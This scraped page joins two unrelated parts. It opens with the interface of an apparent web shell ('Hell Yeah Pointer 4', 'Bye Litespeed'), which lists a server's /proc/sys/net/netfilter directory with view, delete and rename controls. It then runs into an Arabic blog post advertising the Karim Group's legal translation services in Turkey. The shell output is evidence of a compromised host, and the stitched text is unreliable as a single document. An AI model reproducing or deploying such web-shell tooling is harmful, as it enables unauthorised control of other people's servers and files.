Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-10 18:06:38
curdir: / / proc / sys / net / netfilter / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 0 2026-03-10 16:00:16 0555
.. 0 2026-03-10 16:00:16 0555
nf_conntrack_acct 0 2026-03-10 16:01:16 0644
nf_conntrack_buckets 0 2026-03-10 16:01:16 0644
nf_conntrack_checksum 0 2026-03-10 16:01:16 0644
nf_conntrack_count 0 2026-03-10 16:01:16 0444
nf_conntrack_dccp_loose 0 2026-03-10 16:01:16 0644
nf_conntrack_dccp_timeout_closereq 0 2026-03-10 16:01:16 0644
nf_conntrack_dccp_timeout_closing 0 2026-03-10 16:01:16 0644
nf_conntrack_dccp_timeout_open 0 2026-03-10 16:01:16 0644
nf_conntrack_dccp_timeout_partopen 0 2026-03-10 16:01:16 0644
nf_conntrack_dccp_timeout_request 0 2026-03-10 16:01:16 0644
nf_conntrack_dccp_timeout_respond 0 2026-03-10 16:01:16 0644
nf_conntrack_dccp_timeout_timewait 0 2026-03-10 16:01:16 0644
nf_conntrack_events 0 2026-03-10 16:01:16 0644
nf_conntrack_expect_max 0 2026-03-10 16:01:16 0644
nf_conntrack_frag6_high_thresh 0 2026-03-10 16:01:16 0644
nf_conntrack_frag6_low_thresh 0 2026-03-10 16:01:16 0644
nf_conntrack_frag6_timeout 0 2026-03-10 16:01:16 0644
nf_conntrack_generic_timeout 0 2026-03-10 16:01:16 0644
nf_conntrack_helper 0 2026-03-10 16:00:16 0644
nf_conntrack_icmp_timeout 0 2026-03-10 16:01:16 0644
nf_conntrack_icmpv6_timeout 0 2026-03-10 16:01:16 0644
nf_conntrack_log_invalid 0 2026-03-10 16:01:16 0644
nf_conntrack_max 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_closed 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_cookie_echoed 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_cookie_wait 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_established 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_heartbeat_acked 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_heartbeat_sent 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_shutdown_ack_sent 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_shutdown_recd 0 2026-03-10 16:01:16 0644
nf_conntrack_sctp_timeout_shutdown_sent 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_be_liberal 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_loose 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_max_retrans 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_close 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_close_wait 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_established 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_fin_wait 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_last_ack 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_max_retrans 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_syn_recv 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_syn_sent 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_time_wait 0 2026-03-10 16:01:16 0644
nf_conntrack_tcp_timeout_unacknowledged 0 2026-03-10 16:01:16 0644
nf_conntrack_timestamp 0 2026-03-10 16:01:16 0644
nf_conntrack_udp_timeout 0 2026-03-10 16:01:16 0644
nf_conntrack_udp_timeout_stream 0 2026-03-10 16:01:16 0644
nf_flowtable_tcp_timeout 0 2026-03-10 16:01:16 0644
nf_flowtable_udp_timeout 0 2026-03-10 16:01:16 0644
nf_log 0 2026-03-10 16:01:16 0555
nf_log_all_netns 0 2026-03-10 16:01:16 0644
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.